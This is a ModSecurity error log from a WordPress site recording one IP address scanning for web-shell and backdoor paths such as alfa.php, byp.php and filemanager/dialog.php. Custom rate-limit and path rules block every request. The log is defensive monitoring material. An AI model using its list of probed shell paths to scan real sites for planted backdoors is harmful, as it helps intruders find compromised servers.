[Mon Mar 02 12:11:46.762692 2026] [:error] [pid 14466:tid 14489] [client 20.104.124.39:25227] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaUOAv8w-ahEIiUSqM5TAQAAAdU"]
[Mon Mar 02 12:11:47.810677 2026] [:error] [pid 14466:tid 14485] [client 20.104.124.39:25018] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaUOA_8w-ahEIiUSqM5TBAAAAdE"]
[Mon Mar 02 12:11:49.053086 2026] [:error] [pid 31257:tid 31276] [client 20.104.124.39:24998] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaUOBf-JFLfishX45N9pCAAAAQ0"]
[Mon Mar 02 12:11:49.651604 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:24667] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaUOBf-JFLfishX45N9pDQAAARQ"]
[Mon Mar 02 12:11:50.195563 2026] [:error] [pid 28794:tid 28849] [client 20.104.124.39:24655] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaUOBqVy2qpaelbUob2ClwAAAE0"]
[Mon Mar 02 12:11:50.743668 2026] [:error] [pid 28794:tid 28860] [client 20.104.124.39:24996] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaUOBqVy2qpaelbUob2CmAAAAFg"]
[Mon Mar 02 12:11:51.235961 2026] [:error] [pid 21575:tid 21584] [client 20.104.124.39:24690] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aaUOByrocdArcJqFfIkZ8gAAAUU"]
[Mon Mar 02 12:11:51.992778 2026] [:error] [pid 31257:tid 31287] [client 20.104.124.39:24674] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaUOB_-JFLfishX45N9pHwAAARg"]
[Mon Mar 02 12:11:52.612013 2026] [:error] [pid 14466:tid 14476] [client 20.104.124.39:25022] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaUOCP8w-ahEIiUSqM5TGAAAAcg"]
[Mon Mar 02 12:11:53.330639 2026] [:error] [pid 21575:tid 21593] [client 20.104.124.39:24733] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaUOCSrocdArcJqFfIkZ-AAAAU4"]
[Mon Mar 02 12:11:53.893663 2026] [:error] [pid 23872:tid 23875] [client 20.104.124.39:24683] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaUOCUzkQFuA2qBk8UMMiAAAAYA"]
[Mon Mar 02 12:11:54.554302 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:24764] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUOCoqJmC8ih_lQQnBfSwAAANU"]
[Mon Mar 02 12:11:55.385466 2026] [:error] [pid 23872:tid 23895] [client 20.104.124.39:25244] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUOC0zkQFuA2qBk8UMMjAAAAZQ"]
[Mon Mar 02 12:11:56.206622 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:24696] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUODIqJmC8ih_lQQnBfXwAAANY"]
[Mon Mar 02 12:11:56.766168 2026] [:error] [pid 21575:tid 21587] [client 20.104.124.39:25264] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaUODCrocdArcJqFfIkaCwAAAUg"]
[Mon Mar 02 12:11:57.555479 2026] [:error] [pid 14466:tid 14475] [client 20.104.124.39:25234] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaUODf8w-ahEIiUSqM5TIgAAAcc"]
[Mon Mar 02 12:11:58.492236 2026] [:error] [pid 28793:tid 28813] [client 20.104.124.39:24729] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaUODg2_fxBANaHo1f5g1AAAAAY"]
[Mon Mar 02 12:11:59.023293 2026] [:error] [pid 21575:tid 21599] [client 20.104.124.39:24654] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaUODyrocdArcJqFfIkaEwAAAVQ"]
[Mon Mar 02 12:11:59.718711 2026] [:error] [pid 14466:tid 14470] [client 20.104.124.39:24677] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaUOD_8w-ahEIiUSqM5TJwAAAcI"]
[Mon Mar 02 12:12:00.459837 2026] [:error] [pid 21575:tid 21582] [client 20.104.124.39:25257] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaUOECrocdArcJqFfIkaJAAAAUM"]
[Mon Mar 02 12:12:01.578901 2026] [:error] [pid 21575:tid 21580] [client 20.104.124.39:25224] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaUOESrocdArcJqFfIkaKgAAAUE"]
[Mon Mar 02 12:12:02.591572 2026] [:error] [pid 28794:tid 28846] [client 20.104.124.39:25245] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaUOEqVy2qpaelbUob2CqAAAAEo"]
[Mon Mar 02 12:12:03.131609 2026] [:error] [pid 28794:tid 28849] [client 20.104.124.39:24700] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aaUOE6Vy2qpaelbUob2CqgAAAE0"]
[Mon Mar 02 12:12:03.677589 2026] [:error] [pid 28793:tid 28825] [client 20.104.124.39:24668] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaUOEw2_fxBANaHo1f5g4gAAABI"]
[Mon Mar 02 12:12:04.919043 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:24987] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaUOFP-JFLfishX45N9pNwAAAQQ"]
[Mon Mar 02 12:12:05.501982 2026] [:error] [pid 28794:tid 28840] [client 20.104.124.39:24646] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaUOFaVy2qpaelbUob2CsgAAAEQ"]
[Mon Mar 02 12:12:06.430755 2026] [:error] [pid 28794:tid 28850] [client 20.104.124.39:24659] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaUOFqVy2qpaelbUob2CtwAAAE4"]
[Mon Mar 02 12:12:07.144302 2026] [:error] [pid 21575:tid 21597] [client 20.104.124.39:24684] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaUOFyrocdArcJqFfIkaRgAAAVI"]
[Mon Mar 02 12:12:08.063888 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:24678] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaUOGP-JFLfishX45N9pOwAAAQE"]
[Mon Mar 02 12:12:08.631266 2026] [:error] [pid 28794:tid 28848] [client 20.104.124.39:25236] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaUOGKVy2qpaelbUob2CuwAAAEw"]
[Mon Mar 02 12:12:09.247673 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:25057] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaUOGYqJmC8ih_lQQnBflQAAAMQ"]
[Mon Mar 02 12:12:10.185089 2026] [:error] [pid 28908:tid 28918] [client 20.104.124.39:24664] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaUOGoqJmC8ih_lQQnBfoAAAAMg"]
[Mon Mar 02 12:12:11.145445 2026] [:error] [pid 31257:tid 31273] [client 20.104.124.39:24698] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaUOG_-JFLfishX45N9pQAAAAQo"]
[Mon Mar 02 12:12:12.095172 2026] [:error] [pid 28793:tid 28822] [client 20.104.124.39:25023] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaUOHA2_fxBANaHo1f5g5wAAAA8"]
[Mon Mar 02 12:12:12.638137 2026] [:error] [pid 28795:tid 28874] [client 20.104.124.39:24710] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaUOHLROd53wZBkdI_e_DAAAAIs"]
[Mon Mar 02 12:12:13.376323 2026] [:error] [pid 28908:tid 28927] [client 20.104.124.39:25042] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaUOHYqJmC8ih_lQQnBfwAAAANE"]
[Mon Mar 02 12:12:13.973960 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:24687] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaUOHYqJmC8ih_lQQnBfxQAAAMc"]
[Mon Mar 02 12:12:14.523336 2026] [:error] [pid 23872:tid 23893] [client 20.104.124.39:24701] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaUOHkzkQFuA2qBk8UMM8AAAAZI"]
[Mon Mar 02 12:12:15.198817 2026] [:error] [pid 28795:tid 28876] [client 20.104.124.39:25256] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaUOH7ROd53wZBkdI_e_DgAAAI0"]
[Mon Mar 02 12:12:16.176850 2026] [:error] [pid 28795:tid 28870] [client 20.104.124.39:25278] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaUOILROd53wZBkdI_e_EAAAAIc"]
[Mon Mar 02 12:12:16.820677 2026] [:error] [pid 21575:tid 21598] [client 20.104.124.39:25059] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaUOICrocdArcJqFfIkaYQAAAVM"]
[Mon Mar 02 12:12:17.335659 2026] [:error] [pid 28908:tid 28927] [client 20.104.124.39:25272] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaUOIYqJmC8ih_lQQnBf3QAAANE"]
[Mon Mar 02 12:12:18.093600 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:25045] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaUOIv-JFLfishX45N9pRAAAAQw"]
[Mon Mar 02 12:12:18.707983 2026] [:error] [pid 31257:tid 31269] [client 20.104.124.39:25046] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaUOIv-JFLfishX45N9pSAAAAQY"]
[Mon Mar 02 12:12:19.425468 2026] [:error] [pid 28908:tid 28927] [client 20.104.124.39:25243] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaUOI4qJmC8ih_lQQnBf6gAAANE"]
[Mon Mar 02 12:12:19.937074 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:25036] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaUOI_-JFLfishX45N9pTwAAAQM"]
[Mon Mar 02 12:12:20.616128 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:25043] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaUOJIqJmC8ih_lQQnBf9gAAAMU"]
[Mon Mar 02 12:12:21.204603 2026] [:error] [pid 23872:tid 23894] [client 20.104.124.39:25035] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaUOJUzkQFuA2qBk8UMM-QAAAZM"]
[Mon Mar 02 12:12:22.153216 2026] [:error] [pid 14466:tid 14476] [client 20.104.124.39:25251] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaUOJv8w-ahEIiUSqM5TTQAAAcg"]
[Mon Mar 02 12:12:22.888539 2026] [:error] [pid 31257:tid 31287] [client 20.104.124.39:25222] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaUOJv-JFLfishX45N9pVQAAARg"]
[Mon Mar 02 12:12:23.637412 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:25062] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaUOJ4qJmC8ih_lQQnBgFwAAANU"]
[Mon Mar 02 12:12:24.546010 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:24694] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaUOKP-JFLfishX45N9pXAAAARc"]
[Mon Mar 02 12:12:25.277799 2026] [:error] [pid 21575:tid 21579] [client 20.104.124.39:24985] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaUOKSrocdArcJqFfIkahgAAAUA"]
[Mon Mar 02 12:12:26.198277 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:25238] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaUOKv-JFLfishX45N9pYgAAAQw"]
[Mon Mar 02 12:12:26.787806 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:24702] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaUOKoqJmC8ih_lQQnBgIwAAAMM"]
[Mon Mar 02 12:12:27.607266 2026] [:error] [pid 28795:tid 28865] [client 20.104.124.39:25226] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaUOK7ROd53wZBkdI_e_FAAAAII"]
